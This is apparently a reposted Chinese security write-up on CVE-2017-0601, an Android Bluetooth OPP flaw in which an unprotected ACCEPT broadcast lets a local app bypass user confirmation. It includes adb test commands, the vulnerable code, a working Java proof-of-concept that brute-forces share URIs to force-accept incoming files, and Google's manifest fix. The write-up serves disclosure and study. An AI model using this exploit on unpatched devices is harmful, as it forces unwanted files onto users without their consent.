蓝牙App漏洞系列分析之一CVE20170601

2019-04-04 约 1567 字 预计阅读 4 分钟

声明:本文 【蓝牙App漏洞系列分析之一CVE20170601】 由作者 heeeeen 于 2017-05-04 10:12:00 首发 先知社区 曾经 浏览数 5144 次

感谢 heeeeen 的辛苦付出!

0x01 概要

2017年5月的Android安全公告修复MS509团队提交的一个蓝牙提权中危漏洞,这个漏洞尽管简单,但比较有意思,能够使本地恶意App绕过用户交互,使用户强制接收外部传入的蓝牙文件。漏洞概要如下:

  • CVE: CVE-2017-0601
  • BugID: A-35258579
  • 严重性: 中
  • 影响的Google设备: All
  • Updated AOSP versions: 7.0, 7.1.1, 7.1.2

0x02 漏洞分析

蓝牙App暴露了一个广播接收器com.android.bluetooth.opp.BluetoothOppReceiver,本地普通App可以向这个Receiver发送广播,查看其OnReceive方法,包含了对多种传入广播Intent Action的处理,但是大多数Intent Action处于保护状态,简单用adb shell可以一一对其测试,比如

adb shell am broadcast -a  android.btopp.intent.action.OPEN

提示如下错误,说明action处于保护状态

Broadcasting: Intent { act=android.btopp.intent.action.OPEN }
java.lang.SecurityException: Permission Denial: not allowed to send broadcast android.btopp.intent.action.OPEN from pid=26382, uid=2000
     at android.os.Parcel.readException(Parcel.java:1683)
     at android.os.Parcel.readException(Parcel.java:1636)
     at android.app.ActivityManagerProxy.broadcastIntent(ActivityManagerNative.java:3507)
     at com.android.commands.am.Am.sendBroadcast(Am.java:772)
     at com.android.commands.am.Am.onRun(Am.java:404)
     at com.android.internal.os.BaseCommand.run(BaseCommand.java:51)
     at com.android.commands.am.Am.main(Am.java:121)
     at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method)
     at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:262)

但是android.btopp.intent.action.ACCEPT这个Intent Action,却没有保护

adb shell am broadcast -a  android.btopp.intent.action.ACCEPT

Broadcasting: Intent { act=android.btopp.intent.action.ACCEPT }Broadcast completed: result=0

进一步分析AOSP代码,发现传入这个Action的Intent时,会将Intent携带Uri指向的db进行更新,更新为用户确认状态。

else if (action.equals(Constants.ACTION_ACCEPT)) { 
        if (V) Log.v(TAG, "Receiver ACTION_ACCEPT"); 
            Uri uri = intent.getData(); 
        ContentValues values = new ContentValues(); 
        values.put(BluetoothShare.USER_CONFIRMATION,BluetoothShare.USER_CONFIRMATION_CONFIRMED); 
        context.getContentResolver().update(uri, values, null, null); 
        cancelNotification(context, uri);

这个db其实就是蓝牙文件共享的provider,对应的uri为content://con.android.bluetooth.opp/btopp,当通过蓝牙共享接收、发送文件时,该数据库都会增加新的条目,记录接收、发送的状态。该provider记录的信息可以参考BluetoothShare

/**

* Exposes constants used to interact with the Bluetooth Share manager's content
* provider.
* @hide
*/

public final class BluetoothShare implements BaseColumns {
    private BluetoothShare() {
    }

    /**
     * The permission to access the Bluetooth Share Manager
     */
    public static final String PERMISSION_ACCESS = "android.permission.ACCESS_BLUETOOTH_SHARE";

    /**
     * The content:// URI for the data table in the provider
     */
    public static final Uri CONTENT_URI = Uri.parse("content://com.android.bluetooth.opp/btopp");

因此,如果我们在Intent中传入某个蓝牙共享对应文件的uri,那么它在蓝牙文件共享Provider中的状态就会被更改为用户确认状态。这里继续进行猜想,进一步,如果我们刚好通过蓝牙传入某个文件,将其状态改为用户确认,是否文件就无需确认,自动接收了呢?幸运的是,的确如此。

0x03 漏洞利用

这里还有一个问题要解决,content://com.android.bluetooth.opp/btopp只是整个provider的uri,我们如何知道刚刚通过蓝牙传入文件的uri呢?通过暴力穷举,下面的PoC简单地解决了这个问题,

public class MainActivity extends AppCompatActivity {
    Button m_btnAccept = null;

    public static final String ACTION_ACCEPT = "android.btopp.intent.action.ACCEPT";
    public static final String BLUETOOTH_SHARE_URI = "content://com.android.bluetooth.opp/btopp/";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        m_btnAccept = (Button)findViewById(R.id.accept);
        m_btnAccept.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                Intent intent = new Intent();
                intent.setComponent(new ComponentName("com.android.bluetooth",
                        "com.android.bluetooth.opp.BluetoothOppReceiver"));
                intent.setAction(ACTION_ACCEPT);
                // Guess the incoming bluetooth share uri, normally it increases from 1 by 1 and could be guessed easily.
                // Then Send broadcast to change the incoming file status
                for (int i = 0 ; i < 255; i++) {
                    String uriString = BLUETOOTH_SHARE_URI + Integer.toString(i);
                    intent.setData(Uri.parse(uriString));
                    sendBroadcast(intent);
                }
            }
        });
    }
}

0x04 测试方法

通过蓝牙向测试手机发送文件,此时,手机将会出现提示,要用户拒绝或者接受,这个对话框将会出现约1分钟

此时运行POC,文件将会自动接收,因此这是一个本地用户交互绕过。如果有恶意程序利用该漏洞一直在后台运行,那么手机将会被强制接收任意蓝牙传入的文件。

0x05 修复

Google在Framework的AndroidManifest文件中,将android.btopp.intent.action.ACCEPT和DECLINE设为保护状态,普通App无法发出携带这些action的Intent。

diff --git a/core/res/AndroidManifest.xml b/core/res/AndroidManifest.xml
index ec712bb..011884c 100644
--- a/core/res/AndroidManifest.xml
+++ b/core/res/AndroidManifest.xml

@@ -199,6 +199,8 @@
        <protected-broadcast android:name="android.btopp.intent.action.OPEN_INBOUND" />  
        <protected-broadcast android:name="android.btopp.intent.action.TRANSFER_COMPLETE" />    
        <protected-broadcast android:name="com.android.bluetooth.gatt.REFRESH_BATCHED_SCAN" />
    +    <protected-broadcast android:name="android.btopp.intent.action.ACCEPT" /> 
    +    <protected-broadcast android:name="android.btopp.intent.action.DECLINE" />    
        <protected-broadcast android:name="com.android.bluetooth.pbap.authchall" />    
        <protected-broadcast android:name="com.android.bluetooth.pbap.userconfirmtimeout" 
        <protected-broadcast android:name="com.android.bluetooth.pbap.authresponse" />

0x06时间线

2017.02.09——提交Google

2017.03.01——漏洞确认

2017.05.01——补丁发布

2017.05.04——漏洞公开

关键词:[‘技术文章’, ‘技术文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now